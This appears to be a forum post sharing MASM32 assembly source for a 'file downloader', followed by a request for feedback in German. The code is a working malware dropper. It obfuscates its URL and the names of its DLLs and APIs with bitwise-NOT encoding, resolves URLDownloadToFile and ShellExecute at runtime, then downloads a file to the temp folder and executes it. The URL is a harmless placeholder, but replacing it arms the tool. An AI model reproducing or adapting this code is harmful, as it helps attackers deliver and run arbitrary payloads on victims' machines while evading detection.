Code:
;;;;;; ASM File Downloader v0.1
;;;;;; by BlackBerry
.386
.MODEL FLAT, STDCALL
OPTION CASEMAP :NONE
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\urlmon.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\urlmon.lib
.DATA?
buffsz DD ?
hdl DD ?
hfc DD ?
.DATA
urlsz DD 31
; ENCODED URL ( buffer[] = "URL"; for(int x=0;x<strlen(buffer);x++) buffer[x] = ~buffer[x]; )
url DB 151, 139, 139, 143, 197, 208, 208, 136, 136, 136, 209, 152, 144, 144, 152, 147, 154, 209, 155, 154, 208, 150, 145, 155, 154, 135, 209, 151, 139, 146, 147, 255, 255, 255
buffer DB 200 DUP(?)
dll1 DB 148, 154, 141, 145, 154, 147, 204, 205, 255 ; SZ = 8
dll2 DB 138, 141, 147, 146, 144, 145, 255 ; SZ = 6
dll3 DB 140, 151, 154, 147, 147, 204, 205, 255 ; SZ = 7
fnc1 DB 184, 154, 139, 171, 154, 146, 143, 175, 158, 139, 151, 190, 255 ; SZ = 12
fnc2 DB 170, 173, 179, 187, 144, 136, 145, 147, 144, 158, 155, 171, 144, 185, 150, 147, 154, 190, 255 ; SZ = 18
fnc3 DB 172, 151, 154, 147, 147, 186, 135, 154, 156, 138, 139, 154, 190, 255 ; SZ = 13
.CODE
Start1:
decode1 MACRO data, sz
LOCAL Loop0, EndLoop0
pusha
mov eax, sz
Loop0:
mov ebx, OFFSET data
add ebx, eax
mov dl, [ebx]
not dl
mov byte ptr [ebx], dl
cmp eax, 0
je EndLoop0
dec eax
jmp Loop0
EndLoop0:
popa
ENDM
check1 MACRO data
mov data, eax
cmp data, 0
je Exit1
ENDM
decode1 url, urlsz
decode1 dll1, 8
decode1 dll2, 6
decode1 dll3, 7
decode1 fnc1, 12
decode1 fnc2, 18
decode1 fnc3, 13
invoke LoadLibrary, ADDR dll1
check1 hdl
invoke GetProcAddress, hdl, ADDR fnc1
check1 hfc
; invoke GetTempPath, 200, ADDR buffer
push OFFSET buffer
push 200
call dword ptr hfc
; get extension
mov eax, urlsz
Loop1:
dec eax
mov ebx, OFFSET url
add ebx, eax
mov dl, [ebx]
cmp dl, 47
je EndLoop1
cmp eax, 0
je Exit1
jmp Loop1
EndLoop1:
; write extension
Loop2:
inc eax
mov edx, OFFSET url
add edx, eax
mov dl, [edx]
mov ebx, OFFSET buffer
add ebx, buffsz
inc buffsz
mov byte ptr [ebx], dl
cmp eax, urlsz
je EndLoop2
jmp Loop2
EndLoop2:
invoke LoadLibrary, ADDR dll2
check1 hdl
invoke GetProcAddress, hdl, ADDR fnc2
check1 hfc
; invoke URLDownloadToFile, 0, ADDR url, ADDR buffer, 0, 0
push 0
push 0
push OFFSET buffer
push OFFSET url
push 0
call dword ptr hfc
cmp eax, S_OK
jne Exit1
invoke LoadLibrary, ADDR dll3
check1 hdl
invoke GetProcAddress, hdl, ADDR fnc3
check1 hfc
; invoke ShellExecute, NULL, NULL, ADDR buffer, NULL, NULL, SW_SHOW
push SW_SHOW
push NULL
push NULL
push OFFSET buffer
push NULL
push NULL
call dword ptr hfc
Exit1:
invoke ExitProcess, 0
END Start1
Würde mich über feedback freuen